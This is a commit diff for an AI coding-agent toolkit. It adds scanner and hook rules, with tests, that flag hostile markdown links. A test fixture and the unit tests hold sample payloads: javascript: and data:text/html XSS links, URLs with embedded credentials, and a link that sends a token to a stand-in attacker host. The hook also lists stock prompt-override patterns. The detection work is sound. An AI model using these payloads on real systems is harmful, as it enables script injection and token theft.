feat(113): detect javascript:/data:/userinfo/token-in-query in markdown links (#133)

* test(113): add per-rule failing tests + hostile fixture for markdown link payloads

RED phase for issue #113 — scanForInjection() currently returns { clean: true }
for markdown links containing javascript:, data:text/html, userinfo credentials,
and token-in-query payloads.

Changes:
- tests/fixtures/adversarial/security/context-malicious-markdown-link.md:
  Extended to contain one hostile example per rule class (MD-LINK-JS-SCHEME,
  MD-LINK-DATA-SCHEME, MD-LINK-USERINFO, MD-LINK-TOKEN-IN-QUERY) plus benign
  negative controls (data:image/png, mailto:, https://github.com, port-only URL).
- tests/security-prompt-injection.test.cjs:
  - Flipped PINNED "malicious-markdown-link fixture is NOT flagged" assertion
    to "malicious-markdown-link fixture is flagged by scanner" (forward-looking).
  - Added 4×positive + 4×negative per-rule unit tests asserting structuredFindings
    with ruleId, file, line, match fields.
  - Added parity guard: every MARKDOWN_LINK_PATTERNS source string from
    security.cjs must appear in gsd-read-injection-scanner.js hook source.

D3 false-positive grep: 0 legitimate matches — no allowlist entries needed.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>

* feat(113): detect javascript:/data:/userinfo/token-in-query in markdown links (security.cjs + hook)

GREEN phase for issue #113.

Rule details (all with primary source citations):

  MD-LINK-JS-SCHEME
    Flags ](javascript:...) regardless of case.
    Source: OWASP XSS Prevention Cheat Sheet
    https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html

  MD-LINK-DATA-SCHEME
    Flags data: URIs NOT in the explicit safe-list.
    Safe-list: image/(png|jpeg|gif|webp|bmp|ico|avif|heic) and font/(woff2?|otf|ttf).
    data:image/svg+xml is intentionally BLOCKED — SVG can host <script>.
    Source: OWASP File Upload Cheat Sheet — SVG Files
    https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html#svg-files

  MD-LINK-USERINFO
    Flags https?://user:pass@host in markdown link targets.
    Does NOT fire on: mailto:user@host (no :// before user) or https://host:443/path (port, not userinfo).
    Source: RFC 3986 §3.2.1 (userinfo syntax)
    https://www.rfc-editor.org/rfc/rfc3986#section-3.2.1
    RFC 9110 §4.2.4 (HTTP deprecates userinfo)
    https://www.rfc-editor.org/rfc/rfc9110#section-4.2.4

  MD-LINK-TOKEN-IN-QUERY
    Flags key NAMES: token, access_token, id_token, refresh_token, api_key, apikey,
    secret, password, client_secret, code — regardless of value.
    Source: RFC 9700 OAuth 2.0 Security BCP §4.3.1
    https://www.rfc-editor.org/rfc/rfc9700#section-4.3.1
    D3 false-positive grep: 0 legitimate matches in codebase — no allowlist needed.

Architecture:
- scripts/security.cjs: canonical MARKDOWN_LINK_PATTERNS export, scanForInjection()
  extended with structuredFindings (ruleId, file, line, match) via opts.file.
- hooks/gsd-read-injection-scanner.js: patterns inlined for hook independence
  (same pattern sources, verified by parity test).

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>

* test(113): flip PINNED malicious-markdown-link assertion and add parity guard

REFACTOR phase — tightening test rigor after test-rigor skill review:

1. Fixture assertion now enumerates all 4 expected ruleIds explicitly:
   [MD-LINK-JS-SCHEME, MD-LINK-DATA-SCHEME, MD-LINK-USERINFO, MD-LINK-TOKEN-IN-QUERY].
   Previously findings.length > 0 would pass even if 3 of 4 rules were broken.

2. line field assertions tightened: `f.line >= 1` (meaningful lower bound for
   1-based line numbers) instead of `typeof f.line === 'number'` (vacuous).

3. match field assertions tightened to check the hostile content is present:
   - MD-LINK-JS-SCHEME: /javascript:/i in match
   - MD-LINK-DATA-SCHEME: /data:/i in match
   - MD-LINK-USERINFO: /@/ in match (the @ character is the definitive userinfo marker)
   - MD-LINK-TOKEN-IN-QUERY: /token=/i in match

4. Parity test checks actual RegExp .source strings (not just lengths), verifying
   the hook contains the exact canonical pattern sources character-for-character.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>

* fix(#113): add changeset fragment + Windows/Node 24 state.test compatibility

1. .changeset/113-malicious-markdown-links.md — required Security fragment
   for the user-facing markdown-link scanner changes in this PR (changeset-lint
   was failing with FAIL_MISSING_FRAGMENT).

2. get-shit-done/bin/lib/state-command-router.cjs — add OUTPUT_ON_SDK_ERROR
   set for mutation state subcommands whose CJS contract is always exit-0.
   On Windows/Node 24 the SDK bridge returns result.ok===false for validation
   failures (e.g. state record-metric --phase 1 with no --plan/--duration),
   causing dispatchViaSdk() to call error() (exit 1) instead of output({error})
   (exit 0). The fix maps SDK non-ok results to JSON output for the affected
   mutation commands (record-metric, advance-plan, record-session, add-decision,
   add-blocker, resolve-blocker, update-progress), restoring the exit-0 CJS
   contract on all platforms.

tests/state.test.cjs:1161 "returns error when required fields missing" passes
locally (104/104 pass).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
This commit is contained in:
Tom Boucher
2026-05-23 10:15:03 -04:00
committed by GitHub
parent 7bd77d6268
commit e32a53b974
6 changed files with 446 additions and 29 deletions

View File

@@ -0,0 +1,5 @@
---
type: Security
pr: 113
---
**Scanner now detects malicious markdown link schemes** — `scanForInjection()` previously passed markdown links containing `javascript:`, `data:` (non-image/font), `https://user:pass@host` userinfo credentials, and sensitive query-string key names (`token=`, `api_key=`, etc.) as clean. Four new rules (`MD-LINK-JS-SCHEME`, `MD-LINK-DATA-SCHEME`, `MD-LINK-USERINFO`, `MD-LINK-TOKEN-IN-QUERY`) now flag these patterns in both the scanner and the `gsd-read-injection-scanner.js` hook. The `data:` safe-list permits image and font MIME types; `data:image/svg+xml` is intentionally blocked because SVG can host inline scripts.

View File

@@ -152,6 +152,76 @@ const INJECTION_PATTERNS = [
/(?:run|execute|call|invoke)\s+(?:the\s+)?(?:bash|shell|exec|spawn)\s+(?:tool|command)/i,
];
/**
* Patterns that flag hostile markdown link targets.
*
* These address browser-side and agent-side risks when GSD plan files containing
* markdown links are rendered or consumed by agents:
*
* MD-LINK-JS-SCHEME — javascript: URI in link target.
* Source: OWASP Cross-Site Scripting Prevention Cheat Sheet
* https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
*
* MD-LINK-DATA-SCHEME — data: URI that is NOT in the explicit safe-list.
* Safe-list: image/(png|jpeg|gif|webp|bmp|ico|avif|heic) and font/(woff2?|otf|ttf).
* data:image/svg+xml is UNSAFE — SVG can host <script> tags.
* Source: OWASP File Upload Cheat Sheet — SVG Files
* https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html#svg-files
*
* MD-LINK-USERINFO — https?://user:pass@host (RFC 3986 userinfo in HTTP(S) URL).
* Source: RFC 3986 §3.2.1 (userinfo syntax)
* https://www.rfc-editor.org/rfc/rfc3986#section-3.2.1
* RFC 9110 §4.2.4 (HTTP deprecates userinfo in request URIs)
* https://www.rfc-editor.org/rfc/rfc9110#section-4.2.4
* Must NOT fire on: mailto:user@host (no : before @), https://host:443/path (port, not userinfo).
*
* MD-LINK-TOKEN-IN-QUERY — sensitive key name in query string regardless of value.
* Source: RFC 9700 OAuth 2.0 Security BCP §4.3.1
* https://www.rfc-editor.org/rfc/rfc9700#section-4.3.1
* "tokens MUST NOT be passed in URI query parameters"
*
* Each entry: { pattern: RegExp, ruleId: string }
*/
// Explicit safe-list for data: MIME types that are benign in link targets.
// Note: image/svg+xml is intentionally NOT in this list (SVG can host <script>).
const DATA_URI_SAFE_MIME_RE = /^data:(image\/(png|jpe?g|gif|webp|bmp|ico|avif|heic)|font\/(woff2?|otf|ttf))(;[^,]*)?,/i;
const MARKDOWN_LINK_PATTERNS = [
{
// MD-LINK-JS-SCHEME: javascript: URI in markdown link target
// Matches [text](javascript:...) — case-insensitive
pattern: /\]\(\s*javascript:/i,
ruleId: 'MD-LINK-JS-SCHEME',
},
{
// MD-LINK-DATA-SCHEME: data: URI not in safe-list
// Checked via custom function (safe-list requires lookahead beyond a simple regex)
pattern: /\]\(\s*data:/i,
ruleId: 'MD-LINK-DATA-SCHEME',
safePredicate: (line) => {
// Extract the data: URI from the markdown link target
const m = line.match(/\]\(\s*(data:[^)]*)/i);
if (!m) return false; // pattern matched but no URI found — flag it
return DATA_URI_SAFE_MIME_RE.test(m[1]);
},
},
{
// MD-LINK-USERINFO: https?://user:pass@host in markdown link target
// Flags ://anything:anything@ — must have a colon+non-slash before the @
// Does NOT match mailto:user@host (mailto has no :// before the user part)
// Does NOT match https://host:443/path (port has no @ after the colon)
pattern: /\]\(\s*https?:\/\/[^/\s]+:[^/@\s]+@/i,
ruleId: 'MD-LINK-USERINFO',
},
{
// MD-LINK-TOKEN-IN-QUERY: sensitive parameter key in query string
// Fires on key NAME regardless of value, per RFC 9700 §4.3.1
pattern: /[?&](token|access_token|id_token|refresh_token|api_key|apikey|secret|password|client_secret|code)=/i,
ruleId: 'MD-LINK-TOKEN-IN-QUERY',
},
];
/**
* Layer 2: Encoding-obfuscation patterns with custom finding messages.
* Each entry: { pattern: RegExp, message: string }
@@ -178,14 +248,16 @@ const OBFUSCATION_PATTERN_ENTRIES = [
* @param {string} text - The text to scan
* @param {object} [opts] - Options
* @param {boolean} [opts.strict=false] - Enable stricter matching (more false positives)
* @returns {{ clean: boolean, findings: string[] }}
* @param {string} [opts.file] - Optional file path for structured finding context
* @returns {{ clean: boolean, findings: string[], structuredFindings: Array<{ruleId: string, file: string|undefined, line: number, match: string}> }}
*/
function scanForInjection(text, opts = {}) {
if (!text || typeof text !== 'string') {
return { clean: true, findings: [] };
return { clean: true, findings: [], structuredFindings: [] };
}
const findings = [];
const structuredFindings = [];
for (const pattern of INJECTION_PATTERNS) {
if (pattern.test(text)) {
@@ -200,6 +272,29 @@ function scanForInjection(text, opts = {}) {
}
}
// Layer 5: Markdown link patterns (issue #113)
// Scans line-by-line to provide file+line context in structured findings.
const lines = text.split('\n');
for (const entry of MARKDOWN_LINK_PATTERNS) {
for (let i = 0; i < lines.length; i++) {
const line = lines[i];
const m = line.match(entry.pattern);
if (!m) continue;
// If the entry has a safePredicate, skip flagging when the predicate returns true
if (entry.safePredicate && entry.safePredicate(line)) continue;
const matchText = m[0];
findings.push(`Matched markdown link pattern [${entry.ruleId}]: ${matchText}`);
structuredFindings.push({
ruleId: entry.ruleId,
file: opts.file,
line: i + 1, // 1-based line number
match: matchText,
});
}
}
if (opts.strict) {
// Check for suspicious Unicode that could hide instructions
// (zero-width chars, RTL override, homoglyph attacks)
@@ -207,21 +302,21 @@ function scanForInjection(text, opts = {}) {
findings.push('Contains suspicious zero-width or invisible Unicode characters');
}
// Layer 1: Unicode tag block U+E0000–U+E007F (2025 supply-chain attack vector)
// Layer 1: Unicode tag block U+E0000\u2013E007F (2025 supply-chain attack vector)
// These characters are invisible and can embed hidden instructions
if (/[\uDB40\uDC00-\uDB40\uDC7F]/u.test(text) || /[\u{E0000}-\u{E007F}]/u.test(text)) {
findings.push('Contains Unicode tag block characters (U+E0000–E007F) — invisible instruction injection vector');
findings.push('Contains Unicode tag block characters (U+E0000\u2013E007F) \u2014 invisible instruction injection vector');
}
// Check for extremely long strings that could be prompt stuffing.
// Normalize CRLF → LF before measuring so Windows checkouts don't inflate the count.
// Normalize CRLF \u2192 LF before measuring so Windows checkouts don't inflate the count.
const normalizedLength = text.replace(/\r\n/g, '\n').replace(/\r/g, '\n').length;
if (normalizedLength > 50000) {
findings.push(`Suspicious text length: ${normalizedLength} chars (potential prompt stuffing)`);
}
}
return { clean: findings.length === 0, findings };
return { clean: findings.length === 0, findings, structuredFindings };
}
/**
@@ -482,6 +577,7 @@ module.exports = {
// Prompt injection
INJECTION_PATTERNS,
MARKDOWN_LINK_PATTERNS,
scanForInjection,
sanitizeForPrompt,
sanitizeForDisplay,

View File

@@ -19,6 +19,22 @@ const {
const EXIT_ON_STATE_MD_MISSING = new Set(['state.get']);
const STATE_MD_MISSING_MESSAGE = 'STATE.md not found';
// Subcommands whose CJS contract is always exit-0 — they emit
// { error: '...' } JSON via output() for every failure case (missing STATE.md,
// missing required args, validation failures). When the SDK returns
// result.ok === false for these subcommands we must NOT call error() (exit 1);
// instead we surface the SDK error message as exit-0 JSON so callers can
// JSON.parse the response and branch on the error field.
const OUTPUT_ON_SDK_ERROR = new Set([
'state.record-metric',
'state.advance-plan',
'state.record-session',
'state.add-decision',
'state.add-blocker',
'state.resolve-blocker',
'state.update-progress',
]);
// The bridge loader verifies both `executeForCjs` and `formatStateLoadRawStdout`
// are present before returning success, so this router can call `tryLoadSdk()`
// directly without an additional capability check.
@@ -62,6 +78,19 @@ function dispatchViaSdk(registryCommand, registryArgs, legacyArgs, cwd, raw, err
});
if (!result.ok) {
// Mutation subcommands whose CJS contract is always exit-0: surface the SDK
// error as JSON output (exit 0) rather than calling error() (exit 1). This
// preserves the CJS contract for callers that JSON.parse stdout and branch on
// the error field — particularly important on Windows/Node 24 where the SDK
// bridge returns result.ok===false for validation failures (e.g. missing
// required args) instead of propagating them as result.data.error objects.
if (OUTPUT_ON_SDK_ERROR.has(registryCommand)) {
const msg = result.errorDetails && result.errorDetails.message
? result.errorDetails.message
: `state ${registryCommand} failed (${result.errorKind})`;
output({ error: msg });
return true;
}
error(result.errorDetails && result.errorDetails.message
? result.errorDetails.message
: `state ${registryCommand} failed (${result.errorKind})`);

View File

@@ -27,6 +27,45 @@ const SUMMARISATION_PATTERNS = [
/(?:retain|keep)\s+(?:this|these)\s+(?:in|through|after)\s+(?:summar|compress|compact)/i,
];
// Markdown link patterns — mirrors scripts/security.cjs MARKDOWN_LINK_PATTERNS, inlined for hook independence.
// Issue #113: detect javascript:, data: (non-safe-list), userinfo credentials, and token-in-query.
//
// Sources:
// MD-LINK-JS-SCHEME: OWASP XSS Prevention
// https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
// MD-LINK-DATA-SCHEME: OWASP File Upload (SVG unsafe)
// https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html#svg-files
// MD-LINK-USERINFO: RFC 3986 §3.2.1, RFC 9110 §4.2.4
// https://www.rfc-editor.org/rfc/rfc3986#section-3.2.1
// https://www.rfc-editor.org/rfc/rfc9110#section-4.2.4
// MD-LINK-TOKEN-IN-QUERY: RFC 9700 §4.3.1
// https://www.rfc-editor.org/rfc/rfc9700#section-4.3.1
const DATA_URI_SAFE_MIME_RE = /^data:(image\/(png|jpe?g|gif|webp|bmp|ico|avif|heic)|font\/(woff2?|otf|ttf))(;[^,]*)?,/i;
const MARKDOWN_LINK_PATTERNS = [
{
pattern: /\]\(\s*javascript:/i,
ruleId: 'MD-LINK-JS-SCHEME',
},
{
pattern: /\]\(\s*data:/i,
ruleId: 'MD-LINK-DATA-SCHEME',
safePredicate: (line) => {
const m = line.match(/\]\(\s*(data:[^)]*)/i);
if (!m) return false;
return DATA_URI_SAFE_MIME_RE.test(m[1]);
},
},
{
pattern: /\]\(\s*https?:\/\/[^/\s]+:[^/@\s]+@/i,
ruleId: 'MD-LINK-USERINFO',
},
{
pattern: /[?&](token|access_token|id_token|refresh_token|api_key|apikey|secret|password|client_secret|code)=/i,
ruleId: 'MD-LINK-TOKEN-IN-QUERY',
},
];
// Standard injection patterns — mirrors gsd-prompt-guard.js, inlined for hook independence.
const INJECTION_PATTERNS = [
/ignore\s+(all\s+)?previous\s+instructions/i,
@@ -109,6 +148,18 @@ process.stdin.on('end', () => {
}
}
// Markdown link patterns (issue #113)
const lines = content.split('\n');
for (const entry of MARKDOWN_LINK_PATTERNS) {
for (let i = 0; i < lines.length; i++) {
const line = lines[i];
const m = line.match(entry.pattern);
if (!m) continue;
if (entry.safePredicate && entry.safePredicate(line)) continue;
findings.push(`${entry.ruleId}:${m[0].substring(0, 40)}`);
}
}
// Invisible Unicode (zero-width, RTL override, soft hyphen, BOM)
if (/[\u200B-\u200F\u2028-\u202F\uFEFF\u00AD\u2060-\u2069]/.test(content)) {
findings.push('invisible-unicode');

View File

@@ -1,11 +1,31 @@
# Context
A perfectly normal document with a couple of hostile links:
A perfectly normal document with hostile links (one per rule class) and benign controls.
## Hostile links (must be flagged)
<!-- MD-LINK-JS-SCHEME: javascript: URI in link target -->
- [click here](javascript:alert('xss'))
- [download](data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=)
- [credentials](https://user:ghp_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@example.com)
- [exfil](https://attacker.example.com/?token=$GITHUB_TOKEN)
None of these should auto-execute or be promoted to agent instructions
just because they appear in a plan markdown file.
<!-- MD-LINK-DATA-SCHEME: data: text/html URI (not in safe-list) -->
- [download](data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=)
<!-- MD-LINK-USERINFO: credentials embedded in URL authority -->
- [credentials](https://user:ghp_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@example.com)
<!-- MD-LINK-TOKEN-IN-QUERY: sensitive key in query string -->
- [exfil](https://attacker.example.com/?token=leaked_value)
## Benign controls (must NOT be flagged)
<!-- safe data: image — allowed by safe-list -->
- ![logo](data:image/png;base64,iVBORw0KGgo=)
<!-- mailto: — no userinfo colon-before-at pattern -->
- [email](mailto:user@example.com)
<!-- normal https link with no sensitive query keys -->
- [repo](https://github.com/owner/repo)
<!-- port-in-URL (host:port, not userinfo) -->
- [service](https://example.com:8443/path)

View File

@@ -580,25 +580,22 @@ describe('scanForInjection: fixture files trip the scanner', () => {
});
}
test('PINNED: malicious-markdown-link fixture is NOT flagged by current scanner', () => {
// The INJECTION_PATTERNS set in security.cjs targets instruction
// override, role manipulation, system-prompt extraction, fake
// boundary tags, and base64/exfil verbs. It does NOT flag link
// payloads such as javascript:/data:/embedded-credentials URLs.
//
// This is a deliberate scope decision (link analysis belongs to
// a renderer / link-policy module, not the prompt-injection
// scanner) — but the issue #3596 acceptance list calls out
// "malicious markdown links" so we PIN the current behavior
// here. Negative proof: a fixture composed entirely of hostile
// links is reported `clean: true`. If a future change extends
// the scanner to catch these patterns, this assertion will fail
// and force a deliberate update to the acceptance map.
test('malicious-markdown-link fixture is flagged by scanner — all 4 rule IDs fire', () => {
// Issue #113: scanForInjection must detect hostile markdown link payloads.
// The fixture contains one hostile example per rule class (MD-LINK-JS-SCHEME,
// MD-LINK-DATA-SCHEME, MD-LINK-USERINFO, MD-LINK-TOKEN-IN-QUERY) and benign
// negative controls (data:image/png, mailto:, normal https, port-only URL).
// Each rule ID must appear in structuredFindings; benign lines must not add extras.
const content = fs.readFileSync(
path.join(FIXTURE_DIR, 'context-malicious-markdown-link.md'), 'utf-8');
const result = scanForInjection(content);
assert.strictEqual(result.clean, true,
'malicious link patterns are currently out of scope for scanForInjection (PINNED)');
const result = scanForInjection(content, { file: 'context-malicious-markdown-link.md' });
assert.strictEqual(result.clean, false,
'fixture with hostile markdown links must be reported unclean');
const ruleIds = (result.structuredFindings || []).map(f => f.ruleId);
for (const expected of ['MD-LINK-JS-SCHEME', 'MD-LINK-DATA-SCHEME', 'MD-LINK-USERINFO', 'MD-LINK-TOKEN-IN-QUERY']) {
assert.ok(ruleIds.includes(expected),
`fixture must trigger ${expected}; found: [${ruleIds.join(', ')}]`);
}
});
test('strict-mode invisible-unicode fixture is detected', () => {
@@ -650,6 +647,225 @@ describe('validatePath: hostile path values are rejected before write', () => {
});
});
// ─── scanForInjection: markdown link rules (issue #113) ─────────────────────
//
// Per-rule positive and negative tests for the four MARKDOWN_LINK_PATTERNS
// added in #113. Each rule fires on a targeted positive case and stays silent
// on the benign negative controls below.
const {
MARKDOWN_LINK_PATTERNS,
} = require('../get-shit-done/bin/lib/security.cjs');
describe('scanForInjection: MD-LINK-JS-SCHEME (javascript: URI)', () => {
// Source: OWASP Cross-Site Scripting Prevention Cheat Sheet
// https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
test('positive: javascript: link target is flagged', () => {
const text = "[click](javascript:alert('xss'))";
const result = scanForInjection(text, { file: 'test.md' });
assert.strictEqual(result.clean, false, 'javascript: link must be flagged');
assert.ok(
Array.isArray(result.structuredFindings) && result.structuredFindings.length > 0,
'structuredFindings must be populated',
);
const f = result.structuredFindings.find(sf => sf.ruleId === 'MD-LINK-JS-SCHEME');
assert.ok(f, 'finding must carry ruleId MD-LINK-JS-SCHEME');
assert.strictEqual(f.file, 'test.md', 'finding must carry file context');
assert.ok(typeof f.line === 'number' && f.line >= 1, 'finding must carry 1-based line number');
assert.ok(typeof f.match === 'string' && /javascript:/i.test(f.match),
`finding match must include the hostile scheme; got: ${f.match}`);
});
test('positive: javascript: with case variations', () => {
const result = scanForInjection('[x](JavaScript:void(0))');
assert.strictEqual(result.clean, false, 'case-insensitive javascript: must be flagged');
});
test('negative: https: link is not flagged as JS scheme', () => {
const result = scanForInjection('[repo](https://github.com/owner/repo)');
assert.ok(
!Array.isArray(result.structuredFindings) ||
!result.structuredFindings.some(sf => sf.ruleId === 'MD-LINK-JS-SCHEME'),
'https: link must not trigger MD-LINK-JS-SCHEME',
);
});
test('negative: mailto: link is not flagged as JS scheme', () => {
const result = scanForInjection('[email](mailto:user@example.com)');
assert.ok(
!Array.isArray(result.structuredFindings) ||
!result.structuredFindings.some(sf => sf.ruleId === 'MD-LINK-JS-SCHEME'),
'mailto: link must not trigger MD-LINK-JS-SCHEME',
);
});
});
describe('scanForInjection: MD-LINK-DATA-SCHEME (data: non-image/font URI)', () => {
// Source: OWASP File Upload Cheat Sheet — SVG Files
// https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html#svg-files
// data:image/svg+xml is unsafe (SVG can host <script>).
test('positive: data:text/html link target is flagged', () => {
const text = '[x](data:text/html;base64,PHNjcmlwdD4=)';
const result = scanForInjection(text, { file: 'plan.md' });
assert.strictEqual(result.clean, false, 'data:text/html must be flagged');
const f = result.structuredFindings && result.structuredFindings.find(sf => sf.ruleId === 'MD-LINK-DATA-SCHEME');
assert.ok(f, 'finding must carry ruleId MD-LINK-DATA-SCHEME');
assert.strictEqual(f.file, 'plan.md');
assert.ok(typeof f.line === 'number' && f.line >= 1, 'finding must carry 1-based line number');
assert.ok(typeof f.match === 'string' && /data:/i.test(f.match),
`finding match must include the hostile data: scheme; got: ${f.match}`);
});
test('positive: data:application/javascript is flagged', () => {
const result = scanForInjection('[x](data:application/javascript,alert(1))');
assert.strictEqual(result.clean, false);
assert.ok(
result.structuredFindings && result.structuredFindings.some(sf => sf.ruleId === 'MD-LINK-DATA-SCHEME'),
);
});
test('positive: data:image/svg+xml is flagged (SVG can host script)', () => {
const result = scanForInjection('[x](data:image/svg+xml;base64,PHN2Zz4=)');
assert.strictEqual(result.clean, false, 'data:image/svg+xml must be flagged per OWASP');
assert.ok(
result.structuredFindings && result.structuredFindings.some(sf => sf.ruleId === 'MD-LINK-DATA-SCHEME'),
);
});
test('negative: data:image/png is NOT flagged (safe-list)', () => {
const result = scanForInjection('![logo](data:image/png;base64,iVBOR=)');
assert.ok(
!Array.isArray(result.structuredFindings) ||
!result.structuredFindings.some(sf => sf.ruleId === 'MD-LINK-DATA-SCHEME'),
'data:image/png must not trigger MD-LINK-DATA-SCHEME',
);
});
test('negative: data:font/woff2 is NOT flagged (safe-list)', () => {
const result = scanForInjection('[f](data:font/woff2;base64,AAAA=)');
assert.ok(
!Array.isArray(result.structuredFindings) ||
!result.structuredFindings.some(sf => sf.ruleId === 'MD-LINK-DATA-SCHEME'),
'data:font/woff2 must not trigger MD-LINK-DATA-SCHEME',
);
});
});
describe('scanForInjection: MD-LINK-USERINFO (embedded credentials in URL)', () => {
// Source:
// RFC 3986 §3.2.1 — userinfo syntax
// https://www.rfc-editor.org/rfc/rfc3986#section-3.2.1
// RFC 9110 §4.2.4 — HTTP deprecates userinfo
// https://www.rfc-editor.org/rfc/rfc9110#section-4.2.4
test('positive: https://user:pass@host is flagged', () => {
const text = '[creds](https://user:secret@example.com/path)';
const result = scanForInjection(text, { file: 'doc.md' });
assert.strictEqual(result.clean, false, 'userinfo in URL must be flagged');
const f = result.structuredFindings && result.structuredFindings.find(sf => sf.ruleId === 'MD-LINK-USERINFO');
assert.ok(f, 'finding must carry ruleId MD-LINK-USERINFO');
assert.strictEqual(f.file, 'doc.md');
assert.ok(typeof f.line === 'number' && f.line >= 1, 'finding must carry 1-based line number');
assert.ok(typeof f.match === 'string' && /@/.test(f.match),
`finding match must include the @ character from userinfo; got: ${f.match}`);
});
test('positive: http://admin:pw@192.168.1.1 is flagged', () => {
const result = scanForInjection('[router](http://admin:password123@192.168.1.1/)');
assert.strictEqual(result.clean, false);
assert.ok(
result.structuredFindings && result.structuredFindings.some(sf => sf.ruleId === 'MD-LINK-USERINFO'),
);
});
test('negative: mailto:user@host is NOT flagged (no colon before @)', () => {
const result = scanForInjection('[email](mailto:user@example.com)');
assert.ok(
!Array.isArray(result.structuredFindings) ||
!result.structuredFindings.some(sf => sf.ruleId === 'MD-LINK-USERINFO'),
'mailto: must not trigger MD-LINK-USERINFO',
);
});
test('negative: https://host:443/path is NOT flagged (port, not userinfo)', () => {
const result = scanForInjection('[service](https://example.com:8443/path)');
assert.ok(
!Array.isArray(result.structuredFindings) ||
!result.structuredFindings.some(sf => sf.ruleId === 'MD-LINK-USERINFO'),
'port-only URL must not trigger MD-LINK-USERINFO',
);
});
});
describe('scanForInjection: MD-LINK-TOKEN-IN-QUERY (sensitive key in query string)', () => {
// Source: RFC 9700 OAuth 2.0 Security BCP §4.3.1
// https://www.rfc-editor.org/rfc/rfc9700#section-4.3.1
// "tokens MUST NOT be passed in URI query parameters"
test('positive: ?token= in link target is flagged', () => {
const text = '[exfil](https://attacker.example.com/?token=leaked_value)';
const result = scanForInjection(text, { file: 'plan.md' });
assert.strictEqual(result.clean, false, '?token= must be flagged');
const f = result.structuredFindings && result.structuredFindings.find(sf => sf.ruleId === 'MD-LINK-TOKEN-IN-QUERY');
assert.ok(f, 'finding must carry ruleId MD-LINK-TOKEN-IN-QUERY');
assert.strictEqual(f.file, 'plan.md');
assert.ok(typeof f.line === 'number' && f.line >= 1, 'finding must carry 1-based line number');
assert.ok(typeof f.match === 'string' && /token=/i.test(f.match),
`finding match must include the sensitive key name; got: ${f.match}`);
});
test('positive: &access_token= is flagged', () => {
const result = scanForInjection('[x](https://api.example.com/data?foo=1&access_token=secret)');
assert.strictEqual(result.clean, false);
assert.ok(
result.structuredFindings && result.structuredFindings.some(sf => sf.ruleId === 'MD-LINK-TOKEN-IN-QUERY'),
);
});
test('positive: ?api_key= is flagged', () => {
const result = scanForInjection('[x](https://api.example.com/?api_key=abc123)');
assert.strictEqual(result.clean, false);
assert.ok(
result.structuredFindings && result.structuredFindings.some(sf => sf.ruleId === 'MD-LINK-TOKEN-IN-QUERY'),
);
});
test('negative: ?page=2&limit=10 does not fire (benign query keys)', () => {
const result = scanForInjection('[page](https://api.example.com/items?page=2&limit=10)');
assert.ok(
!Array.isArray(result.structuredFindings) ||
!result.structuredFindings.some(sf => sf.ruleId === 'MD-LINK-TOKEN-IN-QUERY'),
'benign query keys must not trigger MD-LINK-TOKEN-IN-QUERY',
);
});
});
// ─── Parity test: hook MARKDOWN_LINK_PATTERNS is superset of canonical ───────
//
// D1: Prevents future drift between scripts/security.cjs (canonical export)
// and hooks/gsd-read-injection-scanner.js (inlined for hook independence).
// If the hook's inline list does not contain every pattern from the canonical
// export, this test fails loudly and forces a deliberate update.
describe('MARKDOWN_LINK_PATTERNS parity: hook inline list is superset of canonical', () => {
test('every canonical MARKDOWN_LINK_PATTERN source string appears in the hook source', () => {
assert.ok(
Array.isArray(MARKDOWN_LINK_PATTERNS),
'security.cjs must export MARKDOWN_LINK_PATTERNS array',
);
const hookSource = fs.readFileSync(READ_SCANNER_HOOK, 'utf-8');
for (const entry of MARKDOWN_LINK_PATTERNS) {
// Each entry is { pattern: RegExp, ruleId: string, safePredicate?: Function }
assert.ok(entry.pattern instanceof RegExp, `entry must have a RegExp .pattern`);
const src = entry.pattern.source;
assert.ok(
hookSource.includes(src),
`Hook gsd-read-injection-scanner.js must contain pattern source: ${src}`,
);
}
});
});
// ─── validateShellArg + validatePhaseNumber + validateFieldName: focused negative cases ──
describe('input validators: shell metacharacter and identifier rejection', () => {